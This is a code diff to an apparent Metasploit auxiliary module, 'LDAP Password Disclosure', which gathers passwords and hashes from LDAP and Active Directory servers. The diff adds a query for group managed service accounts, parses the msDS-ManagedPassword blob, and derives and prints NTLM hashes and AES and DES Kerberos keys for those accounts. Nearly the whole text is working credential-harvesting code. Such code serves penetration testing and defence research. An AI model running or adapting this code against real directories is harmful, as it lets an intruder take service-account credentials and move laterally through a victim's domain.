@@ -11,14 +11,16 @@ class MetasploitModule < Msf::Auxiliary
11
11
include Msf ::Auxiliary ::Report
12
12
include Msf ::Exploit ::Remote ::MsGkdi
13
13
include Msf ::Exploit ::Remote ::LDAP
14
+ include Msf ::Exploit ::Remote ::LDAP ::ActiveDirectory
14
15
include Msf ::Exploit ::Remote ::LDAP ::Queries
15
16
include Msf ::OptionalSession ::LDAP
17
+ include Msf ::Util ::WindowsCryptoHelpers
16
18
17
19
include Msf ::Exploit ::Deprecated
18
20
moved_from 'auxiliary/gather/ldap_hashdump'
19
21
20
22
LDAP_CAP_ACTIVE_DIRECTORY_OID = '1.2.840.113556.1.4.800' . freeze
21
- PASSWORD_ATTRIBUTES = %w[ clearpassword mailuserpassword mslaps-password mslaps-encryptedpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12 ]
23
+ PASSWORD_ATTRIBUTES = %w[ clearpassword mailuserpassword msds-managedpassword mslaps-password mslaps-encryptedpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12 ]
22
24
23
25
def initialize ( info = { } )
24
26
super (
@@ -27,7 +29,8 @@ def initialize(info = {})
27
29
'Name' => 'LDAP Password Disclosure' ,
28
30
'Description' => %q{
29
31
This module will gather passwords and password hashes from a target LDAP server via multiple techniques
30
- including Windows LAPS.
32
+ including Windows LAPS. For best results, run with SSL because some attributes are only readable over
33
+ encrypted connections.
31
34
} ,
32
35
'Author' => [
33
36
'Spencer McIntyre' , # LAPS updates
@@ -67,59 +70,6 @@ def session?
67
70
defined? ( :session ) && session
68
71
end
69
72
70
- def get_ad_ds_domain_info ( ldap )
71
- vprint_status ( 'Checking if the target LDAP server is an Active Directory Domain Controller...' )
72
-
73
- root_dse = ldap . search (
74
- ignore_server_caps : true ,
75
- base : '' ,
76
- scope : Net ::LDAP ::SearchScope_BaseObject ,
77
- attributes : %i[ configurationNamingContext supportedCapabilities supportedExtension ]
78
- ) &.first
79
-
80
- unless root_dse [ :supportedcapabilities ] . map ( &:to_s ) . include? ( LDAP_CAP_ACTIVE_DIRECTORY_OID )
81
- print_status ( 'The target LDAP server is not an Active Directory Domain Controller.' )
82
- return nil
83
- end
84
-
85
- unless root_dse [ :supportedextension ] . include? ( Net ::LDAP ::WhoamiOid )
86
- print_status ( 'The target LDAP server is not an Active Directory Domain Controller.' )
87
- return nil
88
- end
89
-
90
- print_status ( 'The target LDAP server is an Active Directory Domain Controller.' )
91
-
92
- unless ldap . search ( base : '' , filter : '(objectClass=domain)' ) . nil?
93
- # this *should* never happen unless we're tricked into connecting on a different port but if it does happen it
94
- # means we'll be getting information from more than one domain which breaks some core assumptions
95
- # see: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc978012(v=technet.10)
96
- fail_with ( Msf ::Module ::Failure ::NoTarget , 'The target LDAP server is a Global Catalog.' )
97
- end
98
-
99
- target_domains = ldap . search (
100
- base : root_dse [ :configurationnamingcontext ] . first . to_s ,
101
- filter : "(&(objectCategory=crossref)(nETBIOSName=*)(nCName=#{ ldap . base_dn } ))"
102
- )
103
- unless target_domains . present?
104
- fail_with ( Msf ::Module ::Failure ::NotFound , 'The target LDAP server did not return its NETBIOS domain name.' )
105
- end
106
-
107
- unless target_domains . length == 1
108
- fail_with ( Msf ::Module ::Failure ::NotFound , "The target LDAP server returned #{ target_domains . length } NETBIOS domain names." )
109
- end
110
-
111
- target_domain = target_domains . first
112
-
113
- {
114
- netbios_name : target_domain [ :netbiosname ] . first . to_s ,
115
- dns_name : target_domain [ :dnsroot ] . first . to_s
116
- }
117
- end
118
-
119
- def ad_domain?
120
- @ad_ds_domain_info . nil?
121
- end
122
-
123
73
# PoC using ldapsearch(1):
124
74
#
125
75
# Retrieve root DSE with base DN:
@@ -147,10 +97,22 @@ def run_host(_ip)
147
97
vprint_status ( "Using the '#{ datastore [ 'USER_ATTR' ] } ' attribute as the username" )
148
98
end
149
99
150
- @ad_ds_domain_info = get_ad_ds_domain_info ( ldap )
100
+ vprint_status ( 'Checking if the target LDAP server is an Active Directory Domain Controller...' )
101
+ if is_active_directory? ( ldap )
102
+ print_status ( 'The target LDAP server is an Active Directory Domain Controller.' )
103
+ @ad_ds_domain_info = adds_get_domain_info ( ldap )
104
+ else
105
+ print_status ( 'The target LDAP server is not an Active Directory Domain Controller.' )
106
+ @ad_ds_domain_info = nil
107
+ end
151
108
152
109
print_status ( "Searching base DN: #{ base_dn } " )
153
110
entries_returned += ldap_search ( ldap , base_dn , base : base_dn )
111
+ unless @ad_ds_domain_info . nil?
112
+ attributes = %w[ dn sAMAccountName msDS-ManagedPassword ]
113
+ attributes << datastore [ 'USER_ATTR' ] unless datastore [ 'USER_ATTR' ] . blank? || attributes . include? ( datastore [ 'USER_ATTR' ] )
114
+ entries_returned += ldap_search ( ldap , base_dn , base : base_dn , filter : '(objectClass=msDS-GroupManagedServiceAccount)' , attributes : attributes )
115
+ end
154
116
end
155
117
156
118
# Safe if server did not return anything
@@ -300,6 +262,29 @@ def process_hash(entry, attr)
300
262
# LAPSv1 doesn't store the name of the local administrator anywhere in LDAP. It's technically configurable via Group Policy, but we'll assume it's 'Administrator'.
301
263
username = 'Administrator'
302
264
annotation = "(expires: #{ convert_nt_timestamp_to_time_string ( entry [ 'ms-mcs-admpwdexpirationtime' ] . first . to_i ) } )" if entry [ 'ms-mcs-admpwdexpirationtime' ] . present?
265
+ when 'msds-managedpassword'
266
+ managed_password = MsdsManagedpasswordBlob . read ( private_data )
267
+ current_password = managed_password . buffer_fields [ :current_password ] # this field should always be present
268
+ if current_password && ( domain_dns_name = @ad_ds_domain_info &.fetch ( :dns_name ) )
269
+ sam_account_name = entry [ :sAMAccountName ] . first . to_s
270
+ salt = "#{ domain_dns_name . upcase } host#{ sam_account_name . delete_suffix ( '$' ) . downcase } .#{ domain_dns_name . downcase } "
271
+ encoded_current_password = current_password . force_encoding ( 'UTF-16LE' ) . encode ( 'UTF-8' , invalid : :replace , undef : :replace ) . force_encoding ( 'ASCII-8BIT' )
272
+
273
+ ntlm_hash = OpenSSL ::Digest ::MD4 . digest ( current_password )
274
+ ntlm_hash = "#{ sam_account_name } :2105:aad3b435b51404eeaad3b435b51404ee:#{ ntlm_hash . unpack1 ( 'H*' ) } :::"
275
+ aes256_key = aes256_cts_hmac_sha1_96 ( encoded_current_password , salt )
276
+ aes256_key = "#{ domain_dns_name } \\ #{ sam_account_name } :aes256-cts-hmac-sha1-96:#{ aes256_key . unpack1 ( 'H*' ) } "
277
+ aes128_key = aes128_cts_hmac_sha1_96 ( encoded_current_password , salt )
278
+ aes128_key = "#{ domain_dns_name } \\ #{ sam_account_name } :aes128-cts-hmac-sha1-96:#{ aes128_key . unpack1 ( 'H*' ) } "
279
+ des_key = des_cbc_md5 ( encoded_current_password , salt )
280
+ des_key = "#{ domain_dns_name } \\ #{ sam_account_name } :des-cbc-md5:#{ des_key . unpack1 ( 'H*' ) } "
281
+
282
+ print_good ( ntlm_hash )
283
+ print_good ( aes256_key )
284
+ print_good ( aes128_key )
285
+ print_good ( des_key )
286
+ private_data = 'see above'
287
+ end
303
288
when 'mslaps-password'
304
289
begin
305
290
lapsv2 = JSON . parse ( private_data )
@@ -495,4 +480,47 @@ class KVPairs < RASN1::Model
495
480
model ( :key_attr , Sequence )
496
481
]
497
482
end
483
+
484
+ # this is a partial implementation, processing the buffer and the fields is simplified to only support reading
485
+ # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e
486
+ class MsdsManagedpasswordBlob < BinData ::Record
487
+ endian :little
488
+ hide :reserved
489
+
490
+ uint16 :version
491
+ uint16 :reserved
492
+ uint32 :blob_length
493
+ uint16 :current_password_offset
494
+ uint16 :previous_password_offset
495
+ uint16 :query_password_interval_offset
496
+ uint16 :unchanged_password_interval_offset
497
+
498
+ count_bytes_remaining :bytes_remaining
499
+ string :buffer , read_length : -> { bytes_remaining }
500
+
501
+ def buffer_fields
502
+ boffset = offset_of ( buffer )
503
+ bfield_offsets = {
504
+ current_password : current_password_offset ,
505
+ previous_password : previous_password_offset ,
506
+ query_password_interval : query_password_interval_offset ,
507
+ unchanged_password_interval : unchanged_password_interval_offset
508
+ } . sort_by { |_field , offset | offset }
509
+
510
+ bfields = { }
511
+ bfield_offsets . each_cons ( 2 ) do |( field , offset ) , ( _ , next_offset ) |
512
+ next if offset == 0
513
+
514
+ bfields [ field ] = buffer [ ( offset - boffset ) ..( next_offset - boffset ) ]
515
+ end
516
+ last_field , last_offset = bfield_offsets . last
517
+ bfields [ last_field ] = buffer [ ( last_offset - boffset ) ..] if last_offset != 0
518
+
519
+ bfields [ :current_password ] = bfields [ :current_password ] . split ( "\x00 \x00 " . b ) . first if bfields [ :current_password ]
520
+ bfields [ :previous_password ] = bfields [ :previous_password ] . split ( "\x00 \x00 " . b ) . first if bfields [ :previous_password ]
521
+ bfields [ :query_password_interval ] = bfields [ :query_password_interval ] . unpack1 ( 'Q<' ) if bfields [ :query_password_interval ]
522
+ bfields [ :unchanged_password_interval ] = bfields [ :unchanged_password_interval ] . unpack1 ( 'Q<' ) if bfields [ :unchanged_password_interval ]
523
+ bfields
524
+ end
525
+ end
498
526
end
0 commit comments